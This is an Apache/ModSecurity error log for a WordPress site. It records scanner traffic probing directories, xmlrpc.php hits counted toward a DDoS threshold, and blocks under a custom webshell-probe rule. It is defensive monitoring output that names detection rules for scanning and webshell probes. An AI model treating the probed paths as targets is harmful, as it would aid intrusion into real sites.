[Mon Apr 13 00:21:11.641811 2026] [autoindex:error] [pid 25327:tid 25349] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:11.814604 2026] [autoindex:error] [pid 25327:tid 25359] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:11.979895 2026] [autoindex:error] [pid 25327:tid 25348] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:13.703607 2026] [autoindex:error] [pid 25327:tid 25349] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:15.303699 2026] [autoindex:error] [pid 25327:tid 25342] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:15.469463 2026] [autoindex:error] [pid 25327:tid 25360] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:17.937864 2026] [autoindex:error] [pid 25327:tid 25349] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:18.858865 2026] [autoindex:error] [pid 25327:tid 25348] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:20.497631 2026] [autoindex:error] [pid 25327:tid 25360] [client 173.239.218.49:39789] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:22.142164 2026] [autoindex:error] [pid 25327:tid 25344] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:22.306264 2026] [autoindex:error] [pid 25327:tid 25339] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:22.484188 2026] [autoindex:error] [pid 25327:tid 25336] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:22.647267 2026] [autoindex:error] [pid 25327:tid 25347] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:22.811621 2026] [autoindex:error] [pid 25327:tid 25343] [client 173.239.218.49:39789] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 00:21:24.218192 2026] [:error] [pid 26599:tid 26605] [client 82.64.81.82:54516] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advGhHG89LXoQbk_rwD8bgAAAUM"]
[Mon Apr 13 00:24:08.914179 2026] [:error] [pid 25437:tid 25458] [client 113.161.54.245:40950] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advHKHf97wYZje1ep_OdBwAAANM"]
[Mon Apr 13 00:28:35.219806 2026] [autoindex:error] [pid 26599:tid 26626] [client 164.68.118.19:51296] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Apr 13 00:36:44.461610 2026] [:error] [pid 25328:tid 25364] [client 212.7.160.134:37212] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advKHMxUaQZxT-e0YsCYNwAAAEA"]
[Mon Apr 13 00:37:59.901993 2026] [:error] [pid 25327:tid 25357] [client 85.128.143.122:59732] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advKZy6h2tZEVJo9JFI9_wAAABU"]
[Mon Apr 13 01:04:32.569668 2026] [:error] [pid 31607:tid 31743] [client 196.27.114.137:60566] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advQoGjn_I-KYTWngjIoIQAAAIY"]
[Mon Apr 13 01:11:22.692538 2026] [:error] [pid 54671:tid 54680] [client 180.93.52.173:43106] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advSOmyJMmaONUqF0tBcoAAAAQU"]
[Mon Apr 13 01:11:41.126657 2026] [:error] [pid 31605:tid 31655] [client 194.182.64.134:60062] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advSTW9Py-Y-9VQ02eGzAgAAAAw"]
[Mon Apr 13 01:12:15.355188 2026] [:error] [pid 54671:tid 54675] [client 178.33.162.49:35170] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advSb2yJMmaONUqF0tBdQAAAAQA"]
[Mon Apr 13 01:20:31.189003 2026] [:error] [pid 54671:tid 54684] [client 204.48.18.182:52788] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advUX2yJMmaONUqF0tBjOQAAAQk"]
[Mon Apr 13 01:21:51.778259 2026] [:error] [pid 32010:tid 32014] [client 158.69.220.86:36632] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advUrw0nq-t9pXyV1fyN_QAAAMI"]
[Mon Apr 13 01:28:51.352885 2026] [:error] [pid 32010:tid 32018] [client 63.131.146.5:33540] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advWUw0nq-t9pXyV1fySNgAAAMY"]
[Mon Apr 13 01:28:53.672633 2026] [:error] [pid 54671:tid 54675] [client 35.234.37.132:34164] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advWVWyJMmaONUqF0tBpswAAAQA"]
[Mon Apr 13 01:31:20.534035 2026] [:error] [pid 54671:tid 54676] [client 51.75.54.138:38788] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advW6GyJMmaONUqF0tBq5gAAAQE"]
[Mon Apr 13 01:34:07.742140 2026] [:error] [pid 54671:tid 54691] [client 188.166.14.36:57502] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advXj2yJMmaONUqF0tBsogAAARA"]
[Mon Apr 13 01:35:05.507902 2026] [:error] [pid 32010:tid 32015] [client 82.223.70.218:58858] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advXyQ0nq-t9pXyV1fyUXQAAAMM"]
[Mon Apr 13 01:36:10.878075 2026] [:error] [pid 54671:tid 54686] [client 35.198.41.118:59440] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advYCmyJMmaONUqF0tBuGQAAAQs"]
[Mon Apr 13 01:46:26.476108 2026] [:error] [pid 54671:tid 54685] [client 135.136.2.8:63870] [client 135.136.2.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.136.2.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advacmyJMmaONUqF0tBzsQAAAQo"]
[Mon Apr 13 01:46:55.288974 2026] [:error] [pid 54671:tid 54692] [client 134.122.21.213:60076] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advaj2yJMmaONUqF0tBz5gAAARE"]
[Mon Apr 13 02:09:03.922010 2026] [:error] [pid 31606:tid 31721] [client 177.125.192.109:43922] [client 177.125.192.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.125.192.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advfvz9vCsshNhLmCiB-cgAAAE8"]
[Mon Apr 13 02:20:55.511531 2026] [:error] [pid 31607:tid 31751] [client 211.169.178.4:58177] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advih2jn_I-KYTWngjI_TwAAAI4"]
[Mon Apr 13 02:23:57.303075 2026] [:error] [pid 32010:tid 32012] [client 103.80.48.225:56332] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advjPQ0nq-t9pXyV1fyqWwAAAMA"]
[Mon Apr 13 02:25:21.925357 2026] [:error] [pid 31607:tid 31738] [client 109.172.115.12:32976] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advjkWjn_I-KYTWngjJARQAAAIE"]
[Mon Apr 13 02:30:55.103333 2026] [:error] [pid 31607:tid 31750] [client 93.190.48.15:45824] [client 93.190.48.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.48.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advk32jn_I-KYTWngjJBtQAAAI0"]
[Mon Apr 13 02:34:51.446473 2026] [:error] [pid 54671:tid 54698] [client 84.201.130.79:40034] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advly2yJMmaONUqF0tCTXQAAARc"]
[Mon Apr 13 02:37:13.642864 2026] [:error] [pid 31605:tid 31662] [client 152.53.241.40:49002] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advmWW9Py-Y-9VQ02eHTRgAAABM"]
[Mon Apr 13 02:44:39.694797 2026] [:error] [pid 31605:tid 31667] [client 103.220.235.21:65094] [client 103.220.235.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.220.235.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoF29Py-Y-9VQ02eHWBAAAABg"]
[Mon Apr 13 02:44:50.031397 2026] [:error] [pid 31607:tid 31749] [client 103.220.235.21:49709] [client 103.220.235.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.220.235.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoImjn_I-KYTWngjJFnAAAAIw"]
[Mon Apr 13 02:45:00.560675 2026] [:error] [pid 32010:tid 32034] [client 103.220.235.21:50586] [client 103.220.235.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.220.235.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoLA0nq-t9pXyV1fyyngAAANY"]
[Mon Apr 13 02:45:35.743444 2026] [:error] [pid 31606:tid 31731] [client 139.167.208.210:53193] [client 139.167.208.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.167.208.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoTz9vCsshNhLmCiCHcgAAAFg"]
[Mon Apr 13 02:45:44.390480 2026] [:error] [pid 31605:tid 31658] [client 139.167.208.210:54052] [client 139.167.208.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.167.208.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoWG9Py-Y-9VQ02eHWcwAAAA8"]
[Mon Apr 13 02:45:53.206840 2026] [:error] [pid 32010:tid 32033] [client 139.167.208.210:54908] [client 139.167.208.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.167.208.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advoYQ0nq-t9pXyV1fyzCwAAANU"]
[Mon Apr 13 02:46:48.150556 2026] [:error] [pid 32010:tid 32023] [client 139.167.208.210:59556] [client 139.167.208.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.167.208.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advomA0nq-t9pXyV1fyzfwAAAMs"]
[Mon Apr 13 02:48:37.667756 2026] [:error] [pid 32010:tid 32022] [client 54.36.209.212:46134] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advpBQ0nq-t9pXyV1fy0bwAAAMo"]
[Mon Apr 13 02:53:05.515615 2026] [:error] [pid 54671:tid 54694] [client 77.68.115.185:57148] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advqEWyJMmaONUqF0tCfMwAAARM"]
[Mon Apr 13 03:02:22.562505 2026] [:error] [pid 32010:tid 32019] [client 35.198.41.118:43266] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advsPg0nq-t9pXyV1fy6EQAAAMc"]
[Mon Apr 13 03:07:51.654822 2026] [:error] [pid 31606:tid 31728] [client 76.13.78.252:37246] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advthz9vCsshNhLmCiCM-QAAAFY"]
[Mon Apr 13 03:09:57.145018 2026] [:error] [pid 31606:tid 31715] [client 85.128.143.122:38870] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advuBT9vCsshNhLmCiCNnQAAAEk"]
[Mon Apr 13 03:10:10.500414 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:24556] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gt.php"] [unique_id "advuEg0nq-t9pXyV1fy9hwAAANI"]
[Mon Apr 13 03:10:11.179587 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:24531] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gt.php"] [unique_id "advuEw0nq-t9pXyV1fy9igAAAMk"]
[Mon Apr 13 03:10:11.633346 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:24539] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gt.php"] [unique_id "advuEw0nq-t9pXyV1fy9jgAAAMs"]
[Mon Apr 13 03:10:12.236578 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24534] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gt.php"] [unique_id "advuFA0nq-t9pXyV1fy9kwAAANY"]
[Mon Apr 13 03:10:12.955210 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:24530] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/datab"] [unique_id "advuFA0nq-t9pXyV1fy9mAAAAMQ"]
